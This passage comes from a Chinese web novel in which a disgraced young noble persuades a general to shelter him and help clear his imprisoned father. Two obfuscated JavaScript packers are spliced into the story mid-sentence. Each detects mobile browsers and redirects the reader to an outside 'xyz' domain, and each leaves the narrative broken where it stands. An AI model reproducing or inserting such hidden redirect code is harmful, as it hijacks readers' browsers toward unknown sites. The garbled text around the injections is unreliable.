沈翾重新坐回去,打量着面前浑身拘谨的人,不紧不慢地出声道:“世子不是有许多话要告诉沈某,怎的这会儿如此安静?” 叶川遥老脸一红。 可如今已是箭在弦上不得不发,羞耻什么的,已经全然顾不上了。 他下定决心,星眸流转在对面人身上,豁出去道:“大将军,此前种种实乃无奈之举,并非有意冒犯,还请将军恕罪。” “但阿遥对将军思慕已久,此言不假!” 他微微垂眸,白皙面容浮现一抹极淡红晕,似羞于启齿,清澈嗓音里漫出几分柔软。 “虽自知身份低微,配不上将军。但心悦难控,阿遥只求留在将军身侧,日日得见便已足矣。” 心悦难控…… 情话倒是信手拈来。 沈翾打量对面之人,视线掠过那双似水明眸,似笑非笑。 须臾后,慢条斯理道:“且不说你对沈某的思慕从何而来,当日查抄国公府时,沈某也在场,世子就不恨我?” 叶川遥心下一跳,眼底浮出几分凌厉。 还好意思问! 不施以援手也就罢了,还跑去助长大理寺的气焰,着实可恨! 他压下心底错落升腾的火气,抬眼看向对面,坦然道:“恨啊!” “可跟我对将军的爱比起来,这点恨算不得什么!” 嗯,情话这东西,一回生二回熟,说得多了也就那么回事。 叶川遥越发得心应手:“阿遥不怪将军,如今只想留在将军身边。” 他的语气自然又坦荡,仿佛每一句都情真意切,可狭长漂亮的桃花眼里却藏了几分锐利。 像一只被惹恼却不敢反抗的猫儿。 沈翾饶有兴致地打量着面前的人,意有所指地问:“世子可知,你今日这番作为,意味着什么?” 叶川遥双唇紧抿,牙关快要咬碎。 他怎会不知…… 曾集万千宠爱于一身的尊贵世子,才情名动京城,被无数世家子弟称颂的“第一美人”,如今却自请沦为他人玩物,任谁都会鄙夷至极吧。 不知沈翾会怎么看他。 会厌弃他的谄媚将他赶出去? 还是存着几分兴味把他留下? 叶川遥沉默片刻,睫毛轻眨道:“只要能陪在将军身侧,阿遥不在乎别人怎么看。” 自国公府被封那日起,他便早已身不由己,哪还有选择的余地。 只要能达成目的,就算被万人唾弃又有何妨! 况且沈翾这个模样,委身于他倒也不亏。 沈翾嘴角勾起一抹若有似无的笑,嗓音淡淡道:“世子果然…能屈能伸。” “可惜……” 他将目光停在叶川遥那张堪称绝色的面容上,直言道:“世子虽有倾城之貌,但沈某不好男风,还请世子另觅良人吧。” 叶川遥心下一空。 果然如此。 清润眼底黯淡一瞬,却不肯罢休,一双明眸转了转,随即道:“将军果然清风霁月,为人坦荡。” “既如此,那不如把我放在您府上养着,如何?” “我很好养的!” 沈翾笑了,眉眼溢出一丝兴味:“可我为何要养你?” “因为我好看啊!” “……” 四下寂静,万物停滞。 见沈翾未开口,叶川遥趁热打铁继续道:“这府里的花草鱼鸟,大将军想必已经看腻了吧?” “那不如以后多看看我呀!” “我不仅长得好看,还能陪将军聊天解闷,下棋作画。” “再不济,还可以给将军端个茶捶捶背。反正留下我,将军肯定不亏的!” “……” 一旁的明烛已经快要压不住笑,一张脸憋得通红。 世子怎的如此可爱! 别说,若每日都能见到世子这般好看的人,那得有多快活! 沈翾冷冷瞥向身旁看热闹的人,又漫不经心地将视线移至对面。 那双充满期待的眸子,此刻黑白分明,亮得晃眼。 他顿了顿,沉声道:“沈某不喜欢聊天,也不爱作画。至于端茶捶背,府里多的是人,就不劳烦世子了。” “况且这府里的景致沈某尚未看腻,更不需要世子以色自持,忍辱至此。” “……” 叶川遥被噎地差点骂人。 什么叫忍辱至此? 他只是让他看看,又不是要献身,有什么可辱的? 怎的被他这么一说,感觉自己跟个以色事人的小妾似的? 叶川遥脸色微红,用力清了清嗓子道:“将军不肯将我留下,就不怕我伤心过度,一头撞死在你将军府的大门前?” “不怕别人说你薄情寡义,冷血无情,损了将军府百年清誉?” 沈翾看着眼前带着三分薄怒七分慌乱的人,不由地失笑。 随即嗓音温润地应了声:“不怕。” 叶川遥:“……” 险些一口气没提上来。 行,你厉害。 既威胁不成,那便只能示弱。 他抿唇瞪着面前的人,明亮的眼底氤氲出三分水汽,委屈巴巴地轻唤一声: “翾哥哥……” “你怎么可以这般无情?” “……” 一声哥哥让沈翾无所适从。 蹙眉起身,负手朝着门外走去。 叶川遥望着那道决然的背影,颓力地叹口气。 唉,又失败了。 大将军果然不好对付。 俗话说一哭二闹三上吊,难不成要逼他上绝招? 他正暗自盘算着该找根多粗的绳子才不会伤到自己,却听一声清透自门外传来。 “先在云水阁住下,没有我的许可,不得私自离府。” “嗯?” 叶川遥愣了下,反应过来咧着嘴高声道:“是!多谢大将军!” “将军慢走!” 成了! 明烛也喜笑颜开:“太好了阿遥,你可以留在将军府了!” “嗯!”叶川遥如释重负地弯了弯嘴角,还有些恍惚。 竟真成了! 他笑着拍拍明烛宽阔的肩膀,声音轻快道:“明烛,以后我们就是一家人啦!” “……” 明烛愣了下,憨笑一声:“对,一家人。” 好朋友就该是一家人! 不多时,明烛便吩咐丫鬟们将云水阁收拾出来,一应用品也置办齐全。 叶川遥打量自己宽敞透亮的小院,心中感激,连连道谢:“谢谢你明烛,一直如此照顾我。” “ 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“紫云轩,”明烛正色道,“将军喜静,不愿人打扰,没有要事我们一般都不会过去。” “尤其是书房,切不可擅闯!” 叶川遥点点头:“嗯,我记下了。” “对了明烛,能不能替我给庄子上传个消息,告诉凌舟他们我的行踪,再让他们帮我收拾一些衣物细软。” “好,我这便差人过去。”明烛痛快地应下。 两人又热热闹闹地聊了一会儿,明烛才离开云水阁。 斗智斗勇地闹腾了一日,叶川遥这会儿终于松了口气。 说起来,沈翾也算是他的“仇人”,可如今在他府上,叶川遥却莫名生出几分安心。 至少不必再费力应付那些上门纠缠的无赖,总算能睡个踏实觉。 他在小院里转了转,看着满园繁茂春色,处处干净清雅,竟是个好住处。 大将军以往…也是这般“养人”的吗? 这么好的住处,不知从前住的是什么人…… 叶川遥望向院子外围一人多高的石墙,墙边的桃花开得正盛,姝色艳丽,妖娆多姿。 而一墙之隔的另一边,便是沈翾的紫云轩。 他四下望了望,暗自盘算着夜里翻墙过去的可能性。 不过很快便打消了这个念头。 门口的侍卫看上去可不好惹。 就他那三脚猫的功夫,还是别去送死了吧…… 他悻悻地回到卧房,坐在柔软的榻上,忽地想起自己在国公府的那些日子。 从前他不觉得那有什么,因为从小到大他都是那般长大的。 可现在才知道,过往的一切有多珍贵。 阿爹和阿娘给了他最好的疼爱,可如今却…… 那个家,他也许再也回不去了。 叶川遥想着想着,不禁黯然神伤。 他折腾了一日,这会儿终于闲下来,便觉浑身乏累至极,不知不觉竟睡了过去。 直到有婢女在门外通传:“世子,将军请您过去用晚膳。” 听见声音,叶川遥慢吞吞地睁开眼,恍惚一瞬后才迷迷糊糊应声:“好,我这便过去。” 说完又觉得似乎哪里不对,忽地清醒了几分,坐起身问:“晚膳是去何处?” 门外婢女柔声道:“紫云轩。” 10. 第10章 叶川遥怔怔地坐着,像还未睡醒,眼神里带着几分空洞。 不是说不喜人打扰的嘛? 难道这是大将军的待客之礼? 虽说他是主动上门,留下来的手段也不甚光彩,但…… 好歹也算是客? 他思索片刻无果,摇摇头下地。 算了,管他呢,先吃饱再说! 日暮西山,几道余晖残留天边,映出一片绯红。 叶川遥出了云水阁,在婢女的指引下沿着长廊一路向东,不多时便到了紫云轩。 穿过气势恢宏的垂花门,沿着青石小路悠然前行,一路繁花锦簇,流水潺潺,处处透着雅致。 倒是比国公府的景致还要美上几分。 婢女把人带到正厅,便恭敬退下。 明烛一见叶川遥,忙招呼道:“阿遥你来啦,快坐!” 叶川遥抬脚走到桌子前,冲明烛弯唇一笑,又朝沈翾恭敬地行了礼:“大将军。” 沈翾放下手中茶盏,慢条斯理地朝身侧指了指:“坐吧,不必多礼。” “哦好。” 叶川遥在沈翾身旁缓缓坐下,垂着眼,瞧着有些拘谨,反倒显出几分乖巧来。 三人围桌而坐,明烛率先开口打破安静。 “阿遥,也不知你平日里喜欢吃什么,就让厨房简单做了几道,你尝尝看,合不合胃口。” 这叫……简单? 叶川遥看着摆了满桌的十几道精美菜肴,两眼放光,头都顾不上抬。 今日一大早他便出了门,先去忘川阁碰了钉子,后面又大闹一场,连午饭都没用,早已饥肠辘辘。 这会儿一见这么多美味佳肴,更觉饥饿难忍。 他忍着没动,一边望梅止渴,一边用余光瞄着旁边沈翾的动静。 须臾后,听见身旁的人沉声道:“世子用饭,可是要人伺候?” “啊?” 叶川遥愣了愣,忙道:“不,不用。” 既如此,他也不再拘泥,拿起筷子夹起自己面前的一道菜,送进口中后眼睛一亮。 嗯,好吃! 许是怕他拘谨,明烛不停地往他面前的碗里夹菜,一边盛汤一边道:“来阿遥,多吃点。尝尝这道排骨汤,这可是咱们府上大厨的拿手菜!” “喔好,谢谢。”叶川遥笑着接过,尝了一口,当即面露惊喜道:“好鲜啊,这是我喝过最好喝的排骨汤了!” “大将军府上的厨子果然不一般!” 一番马屁拍得行云流水,不动声色。 沈翾抬头看了他一眼,没说什么,一副淡淡的模样。 叶川遥虽饿,但见那两位吃相斯文,便也不好意思狼吞虎咽,只能小口小口地低头慢嚼,筷子也只伸向自己跟前的几道菜。 明烛见状道:“阿遥不必拘谨,随意就好。” “咱们府里没那么多规矩,不然我也不可能跟将军同桌吃饭。” “那……失礼了。”叶川遥微微一颔首,再也顾不得形象,大快朵颐起来。 嘴里塞得鼓鼓的,一双桃花眼大大地瞪着,像只可爱的松鼠。 明烛不禁笑道:“阿遥,你慢点吃,当心噎到。” 叶川遥不好意思地笑笑,嘴上动作却未减半分。 沈翾漫不经心地抬了抬眼,须臾后放下筷子,悠闲地喝起茶。 叶川遥抬头看过去,见他停筷,于是伸手指着沈翾面前的盘子,鼓着腮帮子轻声问:“将军,那个羊肉羹,您还吃吗?” 沈翾看向他,眼角似乎带了一丝嫌弃,起身道:“我吃好了,你们慢用。” “哦,”叶川遥低声应了句,嘟着嘴道,“那将军慢走。” 还嫌弃他,自己不吃还不许旁人吃嘛…… 明烛将那道羊肉羹放到叶川遥面前:“你喜欢吃这个?” “嗯,”叶川遥收回目光,点点头道:“以前娘亲还在时,时常会做这个,我每次都会吃得干干净净,连汤都不剩。” “娘亲走后我便鲜少吃了。国公府的厨子不擅长这个,做得好难吃!” 他说这话时是笑着的,口吻带着些玩笑,眼底却透出一缕伤感。 明烛看在眼里,想着他定是想家,便安慰道:“阿遥放心,有我和将军在,阿遥日后定会平安顺遂,无忧无愁!” 无忧无愁…… 怎么可能呢? 父亲眼下还在大理寺的监牢里受尽苦楚,只要父亲一日未脱险,他就一日不得心安。 不过明烛的好意他自然知晓,他并不想把自己的苦难加在别人身上,遂笑着道:“谢谢你明烛。” 他顿了顿,低声问:“明烛,你可知大理寺那边有何进展?” 之前大理寺的消息都是季岩帮他打探,如今进了将军府,传递消息多有不便,也不知眼下情况如何。 明烛道:“除了孟括,又有两名随行的户部官员出来指证,说国公爷在赈灾期间与神秘人频频会面,行踪可疑。” “什么?”叶川遥急得瞳孔一震。 “你先别急!”明烛赶紧道,“口说无凭,单凭几个人证还定不了国公爷的罪,不必忧心。” 明烛虽这样说,叶川遥的心里却如一团乱麻,茫然无措。 他知道,事情绝不会就此就束。 虽然这一世与上一世已有所不同,但父亲案子的走向却并未发生改变。 孟括如今下落不明,父亲随时都会有危险。 叶川遥压下心中烦闷,担忧地问:“大理寺可有用刑?” “并未。”明烛道。 “今日早朝,将军称卫国公府曾有恩于先帝,弹劾国公爷兹事体大,此案应由大理寺和御史台共同审理。” “陛下已经允了,如今大理寺也不敢再独断专行。” “真的?”叶川遥面露喜色,声音难掩激动。 皇帝近年来一心求仙问道,不再勤政。自三年前太子病逝,太子之位空悬,储位之争愈演愈烈,京中形势风云诡谲。 渐渐的,形成三皇子季泽和六皇子季寒两党相争之局面。 朝中上下皆知,大理寺如今行事阴狠毒辣,独断专行,俨然成为季寒爪牙,专行排除异己之事。 好在御史大夫周印刚正不阿,且从不参与党争,与大理寺形成制衡之势。 此案有御史台介入,至少不会使无辜之人蒙冤。 叶川遥顿时心生希望。 不过…… 沈翾为什么会出面? 虽为三皇子表兄,但他与三皇子并不十分亲近,也未曾表现出对两个皇子任何一方的支持。 而如今站出来,无异于与大理寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045075|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后的六皇子季寒为敌,于他而言没有任何益处。 叶川遥怔怔地想,难不成沈翾真的是被流言骂怕了,所以才出手相助? 再或者……是被他的美貌所迷,所以对他施以恩泽? 他晃了晃脑袋,觉得自己的想法实属荒谬。 明烛看他一会儿皱眉一会儿瞪眼,也不知在想些什么,笑着道:“阿遥别担心,有御史大夫亲理此案,定会还国公爷清白。” 叶川遥点点头。 不管怎么样,事情总算在往好的方向发展。 …… 次日一早,沈翾进宫入朝,朝会结束后,皇帝将人留在了御书房。 “朕近日,听了一些关于爱卿的传闻,不知是真是假啊?” 沈翾颔首问:“坊间近日关于臣的传言的确不少,不知陛下指的是哪一件?” 皇帝笑笑,语气里带着一丝兴味:“朕听说,你与那卫国公家的世子私定终身,又将人抛弃。” “可人家世子对你念念不忘,不惜放下身段自荐枕席,你这才将人留下。” “朕记得卫国公世子的模样,确实让人难忘。只是朕竟不知,原来爱卿也有贪图美色的时候。” 沈翾微微一笑,语气自然道:“让陛下见笑了。臣本就是凡夫俗子,几年前,臣偶然见过世子一面,便心生爱慕,此后世子也对臣情根深种,实属臣之大幸。” “臣本打算下个月世子及冠,便去国公府提亲,却不曾想天意弄人。” “如今贪赃案尚未了结,臣自知不该与卫国公府交往过甚。” ”但眼下世子孤苦无依,又对臣相思成疾,几番上门,臣实在不忍,只好留他在府中。还请陛下恕罪!” 皇帝皱了皱眉,他没想到沈翾会承认得如此坦然,言语间丝毫不掩饰两人的“苟且”。 大盛男风盛行,但多数只是世家子弟养的男宠,玩物罢了。 没有谁会真的娶个男妻回去。 可沈翾竟动过娶妻的心思。 皇帝愈发看不透他。 他顿了顿,问:“此前你拒了公主的婚事,可也是为了世子?” 沈翾跪下,恭敬道:“那时臣已心有所属,实在不忍辜负公主,还请陛下恕罪。” “起来吧,”皇帝抬了抬手,“都是陈年旧事了,不提也罢。” 他说完想起什么,突然道:“如此说来,此前你每每去国公府,与卫国公对弈是假,见心上人才是真吧?” 沈翾默认:“让陛下见笑了。” “哈哈好你个沈翾啊,倒是个痴情种!” 皇帝笑了几声,摆摆手:“罢了,既把人留下,便好生照料吧,莫要让人说朕苛待无辜。” “是陛下,臣遵旨。” 沈翾刚出御书房,就在门口碰见前来觐见的六皇子季寒。 “殿下。”沈翾颔首道。 “大将军,”季寒回了礼,勾着唇幽声道:“听闻昨日大将军将阿遥留在了府上,还真是让人意外。” 沈翾轻笑一声,不紧不慢道:“臣的人,自然是要留在臣的府上。” 他忽略掉季寒阴鸷的表情,不再多言:“臣告退。” 季寒看着那道身影,指尖快要嵌进皮肉里。 “沈翾……” “本王绝不会善罢甘休!” 11. 第11章 日头越来越高,街边摊贩卖力吆喝,行人络绎不绝,很是热闹。 叶川遥在将军府大门前曲膝而坐,双手托着腮,百无聊赖地望着街道尽头。 长睫毛时不时轻眨一下,一副昏昏欲睡的模样。 守卫见此上前劝道:“世子,您还是回屋里等吧,这日头越来越高,晒伤了可怎么好?” 叶川遥摇头,视线未动:“无妨,我就在这等。” “这……”守卫叹口气,心知劝不动,干脆不管他了。 叶川遥远远地望着巷子口,许久后,沈翾的马车终于自远而近地缓缓出现。 墨色朝服加身,发顶银冠熠熠生辉,端的气度非凡。 若是不明身份的人,定会以为这是哪个勋贵家的翩翩公子,哪会联想到那个在沙场上大杀四方的战神将军。 叶川遥怔怔地看着,心里感叹这个冰块脸还真是…… 好看啊。 不过发呆的功夫,沈翾已来到面前,垂眸看他,不冷不热地问:“世子在这里做什么?” “啊?”叶川遥紧忙回神,站起来胡乱拍了拍身上的尘土,“哦,闲着无事,便出来等将军。” 这话说得亲昵,语气里透着几分熟稔,好像等他下朝这件事再平常不过。 旁边的几名守卫却忍不住在心里犯起嘀咕。 通常只有主母才会在大门口等自己的夫君回府,这世子他…… 算了,不敢说,也不敢问,还是权当没瞧见吧。 沈翾意味深长地盯着叶川遥看了几眼,抬脚踏上石阶,面无波澜道:“世子有事找沈某,让人通传一声便可。” 叶川遥蹦跶两步跟上去,一直跟着沈翾进了前厅,在他身旁歪着头道:“将军上朝半日定口渴了,我给将军倒杯茶吧!” 沈翾还未来得及应声,叶川遥已将茶盏双手奉上,眼角微弯带着笑,声音清脆:“将军请用茶!” 纤细白皙的指尖握着杯身,恭敬又温柔。 沈翾伸手接过,浅酌一口,慢条斯理道:“世子有话,不妨直说。” 叶川遥在他身前站着,眨眨眼问:“不知今日朝会上……可有什么特别的事?” 沈翾放下茶盏,抬眼看着面前的人:“世子是想问国公爷的案子?” “嗯嗯!”叶川遥用力点头:“御史台那边可有什么新消息?” 沈翾似乎对他的问题并不意外,不紧不慢道:“尚无进展。” 叶川遥闻言目光瞬间黯淡下去,顿了顿道:“不管怎么样,多谢将军替家父仗义执言。” “有御史台在,大理寺多少也会收敛几分。” 沈翾站起身,在屋子里慢慢踱了几步,闲话家常般不紧不慢道:“世子未在朝中就职,还是不要插手国公爷的案子为好。” “照顾好自己,便是为你父亲分忧了。” 叶川遥抬头看向面前的人,抿了抿唇,又低下头轻声道:“我知道我没用,什么也做不了,什么忙也帮不上。” “如今父亲身陷牢狱,我却只能眼睁睁看着,实在愧为人子。” “……” 楚楚可怜的面容,配上带着三分哽咽的嗓音,沈翾终于明白,明烛为何会对这位小少爷如此上心。 还真是我见犹怜。 可惜,他见多了趋炎附势,口腹蜜剑,早就不吃这一套了。 他走到叶川遥面前,眼里有几分冷冽,沉声道:“你既知自己无用,便安分些,莫要横生枝节,弄巧成拙。” 叶川遥看向那双布满寒意的眼睛,咬着唇,脸上露出一丝委屈。 他自嘲可以,但突然被沈翾这样说,心里就像被巨石压住,憋闷得紧。 安分?说得轻巧。 他若安分认命,那还有谁能救父亲? 叶川遥转了转眼珠,很快整理好情绪,往前凑近些,仰头道:“大将军,经昨日之举,您如今想必已经成了大理寺的眼中钉。” “如今咱们也算是一条船上的人了,理应坦诚合作,共渡难关,您说是不是?” 见他变了一副面孔,沈翾的眼底漫出一丝笑意,看上去颇有兴致:“哦?世子何出此言?” 叶川遥冷静分析道:“大理寺已经查了这些天,明明证据不足却迟迟不肯结案,摆明了是想趁此机会定父亲的罪,除掉卫国公府,进而侵吞户部。” 沈翾拂袖而坐,声音懒散道:“大理寺要治你父亲的罪,与我何干,我又为何要蹚这趟浑水?” 叶川遥不见外地在他身旁落座,又给自己倒了杯茶,饮尽后侃侃而谈道: “大理寺的背后是季寒,而父亲从不参与党争,大理寺对父亲发难,无非是想逼那些中立的大臣出来站队。” “若大理寺此番得逞,必会有人投靠季寒,我想于将军而言,这可不是什么好事。” 功高盖主几乎是历朝历代武将们的必然宿命。 尤其是沈翾这样手握重兵又深得民心的大将,自然更为皇家所忌惮。 以季寒多疑狠厉的性子,若他日上位,绝不可能容得下沈翾。 何况…… 话已至此,叶川遥干脆把心里话全都说了。 “何况,我与将军之事季寒已然知晓,他如今已视将军为敌,即便将军不想入局,怕是也身不由己了。” 他的这番话说得极为大不敬,却又十分诚恳。 倒是显出了结盟的诚意。 沈翾听完后面色未动,对他前面所言之事未予置评,反倒出人意料地问了句:“我与世子的什么事?” “啊?” 叶川遥还在思忖京中局势,一时没有转过弯来。 沈翾侧头看他,嘴角带着一抹若有似无的浅笑,一字一句道:“世子方才说,季寒知道你我之间的事,他都知道什么?” “啊,就,那个……” 叶川遥脸上一热,急忙喝了口茶,眼神闪躲开,支支吾吾道:“他以为我与将军,已私定终身,非彼此不可……” “哦,”沈翾缓缓点点头,看不出情绪,“那他又为何,会如此认为?” “咳咳咳……” 叶川遥险些被茶水呛到,咳得一张脸涨得通红,嘴上胡乱搪塞道:“许是听了坊间的传言吧,毕竟这些日子流言挺多的呵呵呵……” 沈翾嗤笑一声,终于不再“折磨”他,语气不屑道:“你觉得,我会怕他?” 叶川遥晃了晃脑袋,一脸恭维道:“将军英明神武,自然不怕!但也应该未雨绸缪,防患于未然不是?” “将军只要帮我一个小忙,剩下的,我来替将军解决!” 人不大,口气倒不小。 沈翾微不可察地从嘴角哼出一声笑,漫不经心道:“什么忙?” 叶川遥敛了敛目光,正色道:“去丹州找到孟括,让我见他一面。” 孟括会自尽的事他不能说,只能借助沈翾把人找出来看住,让那封信失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045076|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见光的机会。 “丹州……”沈翾若有所思地看着他,“世子为何觉得,孟括会在丹州?” “啊,那个,”叶川遥搪塞道,“我听说孟括有亲人住在丹州,猜想他可能会去那边寻亲。” “将军可以派人去别处也找找,多一条路,就多一丝可能嘛!” 沈翾打量他片刻,眼底闪过晦暗不明的光,不知道在想些什么。 末了,竟应了下来。 叶川遥喜出望外,高兴道:“谢将军!” 沈翾站起身,看着他沉声道:“安分点,老老实实在府里待着。” “好!”反正现下也做不了什么,叶川遥开心地点头,“那我便在家等将军消息!” 沈翾淡淡地嗯了声,大步出了门。 …… 二更过半,一道黑色身影悄无声息地潜入紫云轩。 不多时,书房便亮起灯。 “南桑你怎么才来,等得我都困了!”明烛伸了个懒腰,打着哈欠慢吞吞道。 “有点事耽搁了。”南桑在他身侧落座,将手中之物递过去,笑着道:“给你带了城西的芙蓉酥赔罪。” 明烛接过,嘴角弯起:“这还差不多!” 他说完迫不及待往嘴里塞了一块,含糊着道:“嗯,好吃!” 又拿起一块递到南桑嘴边:“南桑你也尝尝!” 南桑眉眼化开,低头就着他的手轻轻咬下一口,笑着点头:“嗯,确实不错。” 沈翾眸色慵懒地看了眼对面的两人,端起茶杯饮了口,出声道:“孟括那边可有动静?” 南桑收起笑,摇了摇头:“还是藏在那家客栈,并无异动。” “倒是沉得住气。”沈翾抬起指尖在桌子上轻敲了几下,思忖片刻后道:“不等了,把人绑了,明日带回来。” “是。”南桑应道。 明烛把手里的点心放下,抬头问:“大理寺那边,需要我们的人出手吗? “不用,先静观其变。”沈翾道。 三人又聊了聊其他公务,一切安排妥当,南桑笑着问:“世子在府上可好?” “好着呢!”明烛神采飞扬地抢先道,“自从世子来了以后,咱们府上都跟着热闹了许多!” “每日能与世子这样有趣的人待在一起,真是一件快事!” 南桑喝茶的动作微微一顿,状似无意地问:“你与世子,似乎很投缘?” “是啊,”明烛没心没肺道,“世子跟我从前以为的不大一样。” “他为人坦率,心思单纯,也不似传闻那般娇气,还说要跟弟兄们一起练兵呢!” 南桑垂眸,兀自喝起茶,没再开口。 沈翾无声地摇摇头,把人打发走:“先回去吧,我跟南桑有几句话说。” “哦,”明烛慢吞吞地起身往外走,边走边嘀咕:“什么事啊,还要背着我……” 房门关上,沈翾看着对面道: “既如此在意,为何不同他说开?” 南桑抬手摸了摸桌上的面具,沉默一瞬,嗓音低沉道:“我一个见不得光的人,前途未卜,又何苦说出来让他平添烦扰?” 他看向窗外幽深夜色,须臾后淡声道:“将军和我要走的路太长、太苦。孑然一身,才能了无牵挂。” 孑然一身,才能了无牵挂…… 心底似乎有什么轻闪而过,沈翾眸色微动,又很快恢复如常,好似什么也未曾发生。 12. 第12章 沈翾要叶川遥安分,叶川遥便没再动什么歪心思,难得听话地留在府里等消息。 只是一个人待在房里实在憋闷,便跑到明烛上次说的演武场,去看大家练兵去了。 日头当空,将士们却浑然未觉,一个个口号喊得震天响,仿佛此处便是一方战场,自当竭尽全力。 叶川遥第一次来校场,于他而言自然一切都是新奇的。 他环顾着四周,漂亮的双眸闪闪发亮,羡慕又崇拜地看着训练有素的将士们,嘴巴都忘了合。 大家武得认真,无人注意到角落里安静纤细的身影。 直到许久后,明烛无意间转过身,一眼瞧见他。 明烛抬手示意大家停下,转而朝着围墙这边走过来,无数道视线也随之投来。 叶川遥有些不好意思地朝大家招了招手,嘴角弯成一道弧线:“大家好呀!” “阿遥!”明烛走到他面前,抬手胡乱擦了擦脸上的汗:“日头正盛,怎的还过来?” 叶川遥笑笑,眼尾上扬着:“屋里待着无聊,便想过来瞧瞧。” “我没有打扰到你们吧?” “没有,”明烛笑着道,“正好休息一下。” 将士们从未见过如此好看的人,一个个满脸兴奋,推搡着朝这边看过来。 有胆大的忍不住好奇,扯着嗓子高声问:“明将军,这是哪家的小公子啊,怎么不曾见过?” 明烛笑着回头,单手叉着腰道:“这可是世子,你们这群糙人自然没见过!” “哦,原来是世子啊!”众人齐声道:“见过世子!” 叶川遥忙摆手:“诸位将士不必客气,我叫叶川遥,诸位唤我名字便好。” 他虽这样说,大家却不敢逾矩。 近日来的传言他们也都有所耳闻。大将军何曾惧怕过纠缠威胁,此次既肯把人留下,便相当于承认了两人的关系。 说不准,这位就是将军府未来的当家人,他们的另一个主子,谁敢怠慢! 叶川遥自是不知自己在大家的心里竟有如此地位。 他扫过校场众人,转过头问明烛:“明烛,你们练兵……能带上我吗?” 明烛吃了一惊,确认道:“你真要和我们一起练武?” 昨日叶川遥说想要跟将士们一起研习武艺,明烛只当他是一时新奇,随口说说,却没想到今日竟真的来了。 “嗯!”叶川遥用力点头:“我虽少时随母亲习过些武艺,但都是皮毛,后来又荒废了许久,如今已不剩什么了。” “若是可以,我想跟着你们从头好好地学!” 明烛看着叶川遥略显单薄的肩膀和那吹弹可破的皮肤,有些不忍:“阿遥,你确定吗?练武很苦的。” 普通人练武已是不易,对一向养尊处优的人来说,怕是要更难。 叶川遥嘴角一弯,毫不犹豫道:“我可以的。” 上一世他什么苦没吃过,这一世既然有这么好的机会,他定要好好抓住。 若他武艺精进,就算这一世父亲最后还是被判了罪,他也可以拼力一搏,将人救出来。 明烛思忖片刻,最后应下来:“好,那便一起吧。” 叶川遥的眉梢顿时爬上欣喜,眼底熠熠生辉,是从心底感到高兴。 他小跑着加入队列,站在最边上,可脚下的土还没踩热乎,便被大家推到了最前头。 “来世子,您站前面,弟兄们不知轻重,可别伤了您!” “……” 我谢谢您嘞。。。 叶川遥难为情地笑笑,只好和几位伍长一起站在队列的最前方。 虽说俊美的面容在皮色泛黑的人堆里显得有些格格不入,但他站得端直,神情专注又认真,倒是颇有几分习武之人的风范。 “胳膊伸直,下腿要有力,出剑要干脆利落!” 明烛在前方演示着动作,叶川遥一招一式地跟着练,不多时便大汗淋漓,全身似散架一般无力。 反观其他人却神色如常,仿佛头顶的日头不存在一般,端的从容淡然。 大将军手下的兵,果然训练有素,非同一般。 叶川遥不想被人看轻了去,虽全身汗如雨下,但仍咬牙坚持。 这点苦他绝不能退。 世人都说他娇气,可如今的他,早已没有了娇气的资格。 就算暂得将军府庇护,但终究不是长久之计。 唯有变强,才能守住自己,守住家人。 终于熬到休憩。明烛一声令下,将士们齐刷刷席地而坐。 明烛把自己的外袍叠在地上,拍了拍,冲着叶川遥道:“阿遥,坐这里!” 叶川遥瞧一眼脚边的衣服,同大家一样径直坐在地上,笑着道:“无妨,我坐地上便好。” 见他不拘泥身份,将士们也自在随意了许多,说话也不再小心端着。 大家互相打闹着,笑声阵阵。 叶川遥的额角流着汗,原本白皙清透的一张脸此刻更如暖玉般温润细腻,泛着柔光。 他听将士们说起军中趣事,很是新奇,一双明眸睁得大大的,一脸的兴致,甚是捧场。 见世子喜欢听,大家顿时讲得更起劲。 “……要说神勇,谁能敌得过咱们大将军!” “五年前我随大将军出征,可是亲眼见过将军以一敌百,将敌方将领狠狠踩在脚下,从此再不敢来犯。” “那年咱们将军才刚满二十,北渊将领起初根本不把他放在眼里,没想到最后竟死于将军剑下。” “自那以后,谁还敢放肆!” 有人附和道:“大将军十五岁便随老将军出征,不知将敌军打退多少次,自是神勇无双。” 这个叶川遥也听说过,只是不知晓其中细节。 “将军十五岁便已上阵杀敌?” “可不是嘛!将军自小跟着老将军习武,从不懈怠,第一次出战便斩杀敌方大将,一战成名!” “陵川一带的百姓如今能安居乐业,不受外族欺负,还不全倚仗将军威名!” 叶川遥点点头,壹字军的英勇事迹他从前也听过一些。 只是没想到,沈翾十五岁竟已立下如此战功。 还真是英雄出少年。 不像他,弱冠之年一事无成,还要寄于他人臂膀之下。 在场的人大多都是将军府的府兵 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众人闻言齐刷刷地起身站好,动作整齐利落。 叶川遥也迷迷糊糊地跟着站起身,瘦削的脊背绷成一条线,头端正地挺着,汗珠沿着下颌流下却浑然不觉。 武艺练得不怎么样,架势倒是摆得不错。 沈翾免了大家的礼,负手朝着众人走去。 叶川遥看着他一步一步走到自己面前,愣愣地抬起头,轻轻唤了声:“将军,我……” 话未说完,一只手朝眼前而来,柔软丝帕转而按在额间。 “累不累,怎么出了这么多汗?” 温柔的语气让叶川遥的话瞬间淹没在喉间,一双桃花眼睁得溜圆,不知所措地轻眨几下。 这是……在演哪出? 这亲昵的语气,这温柔的笑。 